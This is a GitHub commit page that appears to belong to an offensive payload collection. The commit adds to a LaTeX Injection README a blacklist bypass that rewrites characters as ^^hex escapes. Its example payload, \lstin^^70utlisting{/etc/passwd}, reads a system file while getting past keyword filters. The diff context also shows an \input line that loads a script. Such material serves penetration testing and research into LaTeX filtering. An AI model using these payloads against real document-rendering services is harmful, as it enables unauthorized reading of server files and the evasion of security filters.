Skip to content

Commit

Permalink
Merge pull request #695 from hebelsan/patch-1
Browse files Browse the repository at this point in the history
latex injection add blacklist bypass
  • Loading branch information
swisskyrepo authored Nov 12, 2023
2 parents d80068c + ae3f91c commit 711b44c
Showing 1 changed file with 8 additions and 0 deletions.
8 changes: 8 additions & 0 deletions LaTeX Injection/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -53,6 +53,14 @@ characters can be deactivated in order to use `\input` on file containing `$`, `
\input{path_to_script.pl}
```

To bypass a blacklist try to replace one character with it's unicode hex value.
- ^^41 represents a capital A
- ^^7e represents a tilde (~) note that the ‘e’ must be lower case

```tex
\lstin^^70utlisting{/etc/passwd}
```

## Write file

Write single lined file:
Expand Down

0 comments on commit 711b44c

Please sign in to comment.